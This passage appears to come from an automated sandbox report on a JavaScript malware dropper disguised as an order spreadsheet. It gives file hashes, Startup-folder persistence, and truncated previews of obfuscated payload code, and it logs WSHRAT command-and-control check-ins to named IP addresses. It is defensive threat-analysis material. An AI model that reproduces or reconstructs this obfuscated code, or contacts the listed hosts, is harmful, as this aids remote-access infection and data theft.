Entropy (8bit):	5.862218026985717
Encrypted:	false
SSDEEP:	6144:ZelAnl+TmtdFx/NFckG8vgAetX5kKpl8ZWnwmGVzKAhwJVEIs8:tnUT4dFx/NFCsretXdhqN7wJVEA
MD5:	77D34374418DE906C54392BFB251F384
SHA1:	25974846AA5EC0C519D6DD707753C5AC5528EB15
SHA-256:	763E249AFF06D3AFDE2AD073DD463D1B65BA8F26D227CDE3520649EBBDA30814
SHA-512:	1E5A02CB8949BCEDFC805D0D5DB6FE0BCA5E5E15CC10B481A85AF444D3404D18E6C51CDFB6032C3CAA9C1A55000FDC954D269FE55CEF663F3BFA194A66E6E379
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	OBxPINLMNjPW = "" ..OiXChQgEkMxrOrvmh = 50;..var LqLoArsoaUgLtwINLtDqYmfyDXMAbzRkWXVFPmOqfOGvzsrQpeDyrwJYKMld = "frMaDwpWaCyZeMLJgkyKgwLxwTsaOwvCBlLoCfrDDVpmgdTflzsaOawjfOejDPHdHvXt";..BWHAsuHLGZRSA = 99;..var MpOEVnaocInBIAnNLekGZeOsshUTlcGxLjqatZmIxFYOTykuTyuu = "gMaiaWMnSGCABpqYJNTmsbIUFzYtwaznhMQyIHzXNyqqCYNeIMlGeIBFEGdbxTrsHOToYrQ";..OBxPINLMNjPW = OBxPINLMNjPW + "UEsDBBQACAgIADYIkVkAAAAAAAAAAAAAAAASAAAAY2FyTGFtYm8vNzEuY2xhc3MvlVZJcBRVGP56epJJhoaEAUESNlFhMjCkl+llDGDCEGBgkkASAgkidCZtGJjMhE4PBEVExF3ccS+tosqrJQkklFjg2YNVXqzy5FUPXvSs+L/XHUiAi3Po9/7l/cv3L8mP/353E4CCTwVE8rYzVqiMCJiXt92cPTJYbjaVCEIC6o/ZJ+3mol0abu4aPObkvQjCAmotVbXklKWZAoTjAmK5u2o9nlsoDbeQYOsdQcUrFJu77dJQeYQJhgSEDmbo4ghoaNua2da+fcfO7K7duY7Orj17u3t69/XtP9A/UIMFpLNDQFRWVC2lG6aVrsFC4tkC5rflcm29Xd3Z8W3tHV0UUlLV1bQspzSSZ8VLf/7zOz1M6rpmWoqVokCjiqbrliUrhsbUNU1JGSlLYQLFMHRVSek611LNtKVrqTQRqkxe9bQmWwJqNuWLhVLB2yJAjDf1CVh4N+lsyXOGHTeC1YSm65x03DHKLRzPNmUlrMGjUTyCxyQ8jCW1ELFWrGoFJCzzySbxNv0kNPjkBvEcmLTRJ5vFVk4u90lVwgr/lpqpDkc3V87bRScC

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\83aa4cc77f591dfc2374580bbd95f6ba_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe
File Type:	data
Category:	dropped
Size (bytes):	45
Entropy (8bit):	0.9111711733157262
Encrypted:	false
SSDEEP:	3:/lwlt7n:WNn
MD5:	C8366AE350E7019AEFC9D1E6E6A498C6
SHA1:	5731D8A3E6568A5F2DFBBC87E3DB9637DF280B61
SHA-256:	11E6ACA8E682C046C83B721EEB5C72C5EF03CB5936C60DF6F4993511DDC61238
SHA-512:	33C980D5A638BFC791DE291EBF4B6D263B384247AB27F261A54025108F2F85374B579A026E545F81395736DD40FA4696F2163CA17640DD47F1C42BC9971B18CD
Malicious:	false
Preview:	........................................J2SE.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (65517), with CRLF line terminators
Category:	dropped
Size (bytes):	313163
Entropy (8bit):	3.467104984505556
Encrypted:	false
SSDEEP:	1536:mzfAZzBCfw20zvFqgFQZSEEH3+D2RsCWYiVJASEJpUxETsYDRKsBvpOCpmFYwtYO:6
MD5:	9AFD9ECE1BD1D495D993DF48FE93A8DD
SHA1:	22CB23FD8EE7AE5C1C0CA606881594F90F09230A
SHA-256:	1FDB1C5AD65E00E4520DF60B9C3B880059ED77FCBF41787C6DD6A9ABC0180A5C
SHA-512:	1D28B54294C4995983699A6EDEEB471FF6B3FDD025A360EE0B76435B6CE2843C1A7CAD3D0B2D8E6B421AF7A8C5C220E23CA2798BC4560713319153B24B2E2F75
Malicious:	true
Preview:	var G0j=180545366..var DWVIDB = String.fromCharCode(180545413-G0j,180545413-G0j,180545426-G0j,180545457-G0j,180545398-G0j,180545480-G0j,180545467-G0j,180545465-G0j,180545477-G0j,180545466-G0j,180545467-G0j,180545480-G0j,180545398-G0j,180545424-G0j,180545398-G0j,180545473-G0j,180545477-G0j,180545469-G0j,180545476-G0j,180545471-G0j,180545482-G0j,180545477-G0j,180545398-G0j,180545406-G0j,180545465-G0j,180545407-G0j,180545398-G0j,180545481-G0j,180545473-G0j,180545487-G0j,180545478-G0j,180545467-G0j,180545398-G0j,180545424-G0j,180545398-G0j,180545474-G0j,180545471-G0j,180545484-G0j,180545467-G0j,180545424-G0j,180545483-G0j,180545476-G0j,180545473-G0j,180545476-G0j,180545477-G0j,180545485-G0j,180545476-G0j,180545412-G0j,180545481-G0j,180545463-G0j,180545474-G0j,180545467-G0j,180545481-G0j,180545420-G0j,180545418-G0j,180545398-G0j,180545459-G0j,180545428-G0j,180545376-G0j,180545376-G0j,180545376-G0j,180545376-G0j,180545413-G0j,180545413-G0j,180545427-G0j,180545411-G0j,180545427-G0j,180545411-

C:\Users\user\AppData\Roaming\adobe.js

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with very long lines (65517), with CRLF line terminators
Category:	dropped
Size (bytes):	313163
Entropy (8bit):	3.467104984505556
Encrypted:	false
SSDEEP:	1536:mzfAZzBCfw20zvFqgFQZSEEH3+D2RsCWYiVJASEJpUxETsYDRKsBvpOCpmFYwtYO:6
MD5:	9AFD9ECE1BD1D495D993DF48FE93A8DD
SHA1:	22CB23FD8EE7AE5C1C0CA606881594F90F09230A
SHA-256:	1FDB1C5AD65E00E4520DF60B9C3B880059ED77FCBF41787C6DD6A9ABC0180A5C
SHA-512:	1D28B54294C4995983699A6EDEEB471FF6B3FDD025A360EE0B76435B6CE2843C1A7CAD3D0B2D8E6B421AF7A8C5C220E23CA2798BC4560713319153B24B2E2F75
Malicious:	true
Preview:	var G0j=180545366..var DWVIDB = String.fromCharCode(180545413-G0j,180545413-G0j,180545426-G0j,180545457-G0j,180545398-G0j,180545480-G0j,180545467-G0j,180545465-G0j,180545477-G0j,180545466-G0j,180545467-G0j,180545480-G0j,180545398-G0j,180545424-G0j,180545398-G0j,180545473-G0j,180545477-G0j,180545469-G0j,180545476-G0j,180545471-G0j,180545482-G0j,180545477-G0j,180545398-G0j,180545406-G0j,180545465-G0j,180545407-G0j,180545398-G0j,180545481-G0j,180545473-G0j,180545487-G0j,180545478-G0j,180545467-G0j,180545398-G0j,180545424-G0j,180545398-G0j,180545474-G0j,180545471-G0j,180545484-G0j,180545467-G0j,180545424-G0j,180545483-G0j,180545476-G0j,180545473-G0j,180545476-G0j,180545477-G0j,180545485-G0j,180545476-G0j,180545412-G0j,180545481-G0j,180545463-G0j,180545474-G0j,180545467-G0j,180545481-G0j,180545420-G0j,180545418-G0j,180545398-G0j,180545459-G0j,180545428-G0j,180545376-G0j,180545376-G0j,180545376-G0j,180545376-G0j,180545413-G0j,180545413-G0j,180545427-G0j,180545411-G0j,180545427-G0j,180545411-

Static File Info

General

File type:	ASCII text, with very long lines (7287), with CRLF line terminators
Entropy (8bit):	3.5774010139645416
TrID:
File name:	ORDER-24171200967.XLS..js
File size:	7'320 bytes
MD5:	f9909c7c05d71c1d6b64286308f98acc
SHA1:	285b28cb198161825f9860c9d92d394b4e5432bd
SHA256:	3262bd3a884311409a84415b7edffaecfacd37c2948f3f4fc1ea5b664abaed85
SHA512:	57229234a1439080f06e8388a1f3680800c65ade4c5bdfe4ca2baa44e39d90decc04930241a0de83be5537e6e0081753f56cb624de4f893eb5b238b21eb75d93
SSDEEP:	192:++B5F0K8hVKxuKb5xy49ngVvVgDyDGGxziGqV+xqQ:++3F0K8hVKxuKb5xy49ngVvVgDyDGGxb
TLSH:	EBE1F8D52A71EC78FF86FE7D52F05A2577A788917B2F30E54A162E412BE019B46C0C83
File Content Preview:	var P0t=85477883..var WWIFJN = String.fromCharCode(85477999-P0t,85477997-P0t,85478004-P0t,85478006-P0t,85477893-P0t,85478001-P0t,85477980-P0t,85477997-P0t,85477915-P0t,85477962-P0t,85477981-P0t,85477989-P0t,85477984-P0t,85477982-P0t,85477999-P0t,85477915-

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T03:52:29.130354+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	49801	46.246.82.66	7045	TCP
2024-12-17T03:52:29.130354+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	49801	46.246.82.66	7045	TCP
2024-12-17T03:52:34.737869+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	49819	46.246.82.66	7045	TCP
2024-12-17T03:52:34.737869+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	49819	46.246.82.66	7045	TCP
2024-12-17T03:52:36.354208+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	49825	46.246.82.66	7045	TCP
2024-12-17T03:52:36.354208+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	49825	46.246.82.66	7045	TCP
2024-12-17T03:52:41.673334+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	49842	46.246.82.66	7045	TCP
2024-12-17T03:52:41.673334+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	49842	46.246.82.66	7045	TCP
2024-12-17T03:52:43.506028+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	49848	46.246.82.66	7045	TCP
2024-12-17T03:52:43.506028+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	49848	46.246.82.66	7045	TCP
2024-12-17T03:52:48.585175+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	49864	46.246.82.66	7045	TCP
2024-12-17T03:52:48.585175+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	49864	46.246.82.66	7045	TCP
2024-12-17T03:52:53.729629+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	49871	46.246.82.66	7045	TCP
2024-12-17T03:52:53.729629+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	49871	46.246.82.66	7045	TCP
2024-12-17T03:52:55.585887+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	49886	46.246.82.66	7045	TCP
2024-12-17T03:52:55.585887+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	49886	46.246.82.66	7045	TCP
2024-12-17T03:53:00.802239+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	49909	46.246.82.66	7045	TCP
2024-12-17T03:53:00.802239+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	49909	46.246.82.66	7045	TCP
2024-12-17T03:53:02.896693+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	49920	46.246.82.66	7045	TCP
2024-12-17T03:53:02.896693+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	49920	46.246.82.66	7045	TCP
2024-12-17T03:53:07.746995+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	49952	46.246.82.66	7045	TCP
2024-12-17T03:53:07.746995+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	49952	46.246.82.66	7045	TCP
2024-12-17T03:53:10.076553+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	49964	46.246.82.66	7045	TCP
2024-12-17T03:53:10.076553+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	49964	46.246.82.66	7045	TCP
2024-12-17T03:53:14.650257+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	49990	46.246.82.66	7045	TCP
2024-12-17T03:53:14.650257+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	49990	46.246.82.66	7045	TCP
2024-12-17T03:53:17.280262+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	50002	46.246.82.66	7045	TCP
2024-12-17T03:53:17.280262+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	50002	46.246.82.66	7045	TCP
2024-12-17T03:53:24.553944+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	50040	46.246.82.66	7045	TCP
2024-12-17T03:53:24.553944+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	50040	46.246.82.66	7045	TCP
2024-12-17T03:53:24.633136+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	50026	46.246.82.66	7045	TCP
2024-12-17T03:53:24.633136+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	50026	46.246.82.66	7045	TCP
2024-12-17T03:53:33.781774+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	50082	46.246.82.66	7045	TCP
2024-12-17T03:53:33.781774+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	50082	46.246.82.66	7045	TCP
2024-12-17T03:53:33.782415+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	50083	46.246.82.66	7045	TCP
2024-12-17T03:53:33.782415+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	50083	46.246.82.66	7045	TCP
2024-12-17T03:53:40.706518+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	50130	46.246.82.66	7045	TCP
2024-12-17T03:53:40.706518+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	50130	46.246.82.66	7045	TCP
2024-12-17T03:53:41.603651+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	50131	46.246.82.66	7045	TCP
2024-12-17T03:53:41.603651+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	50131	46.246.82.66	7045	TCP
2024-12-17T03:53:48.161809+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	50168	46.246.82.66	7045	TCP
2024-12-17T03:53:48.161809+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	50168	46.246.82.66	7045	TCP
2024-12-17T03:53:48.925123+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	50173	46.246.82.66	7045	TCP
2024-12-17T03:53:48.925123+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	50173	46.246.82.66	7045	TCP
2024-12-17T03:53:56.117633+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	50207	46.246.82.66	7045	TCP
2024-12-17T03:53:56.117633+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	50207	46.246.82.66	7045	TCP
2024-12-17T03:53:57.049952+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	50215	46.246.82.66	7045	TCP
2024-12-17T03:53:57.049952+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	50215	46.246.82.66	7045	TCP
2024-12-17T03:54:04.151539+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	50250	46.246.82.66	7045	TCP
2024-12-17T03:54:04.151539+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	50250	46.246.82.66	7045	TCP
2024-12-17T03:54:04.234595+0100	2027447	ET MALWARE WSHRAT CnC Checkin	1	192.168.2.4	50255	46.246.82.66	7045	TCP
2024-12-17T03:54:04.234595+0100	2017516	ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	1	192.168.2.4	50255	46.246.82.66	7045	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 03:51:57.310138941 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:57.430351019 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:57.430558920 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:57.430798054 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:57.550731897 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.541023970 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.541083097 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.541120052 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.541119099 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.541204929 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.541204929 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.541229010 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.541276932 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.541284084 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.541318893 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.541333914 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.541353941 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.541358948 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.541399956 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.541867971 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.541902065 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.541920900 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.541937113 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.541954041 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.541995049 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.661312103 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.661453009 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.661470890 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.661607027 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.733020067 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.733098984 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.733184099 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.733264923 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.781322956 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.781335115 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.781456947 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.854640007 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.854656935 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.854790926 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.900947094 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.900959015 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.900966883 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.900975943 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.900985003 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.900995016 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.901099920 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.901099920 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.901390076 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.901400089 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.901408911 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.901417971 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.901427031 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.901488066 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.902251959 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.902266979 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.902276039 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.902286053 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.902295113 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.902302027 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.902340889 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.902340889 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.925159931 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.925221920 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.925249100 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.925350904 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.929013014 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.929088116 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.929135084 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.929182053 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.936795950 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.936858892 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.936886072 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.936933994 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.944449902 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.944509983 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.944742918 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.944791079 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.975203037 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.975218058 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.975255966 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.975644112 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.978405952 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.978454113 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:58.978701115 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:58.978741884 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.021878004 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.021962881 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.021965981 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.022044897 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.025696039 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.025755882 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.025768995 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.025801897 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.033303976 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.033358097 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.033375978 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.033404112 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.040908098 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.040978909 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.041029930 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.041172981 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.049127102 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.049204111 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.049282074 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.049338102 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.056201935 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.056268930 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.056368113 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.056415081 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.063931942 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.064124107 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.064256907 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.064491987 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.070707083 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.070719957 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.070801973 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.076792002 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.076805115 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.076874971 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.082566977 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.082648039 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.082672119 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.082725048 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.087985039 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.088063955 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.088179111 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.088352919 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.094432116 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.094465017 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.094620943 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.094620943 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.099401951 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.099436998 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.099589109 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.099589109 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.117944956 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.117980957 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:51:59.118159056 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.118160009 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:51:59.120191097 CET	80	49730	192.3.220.6	192.168.2.4
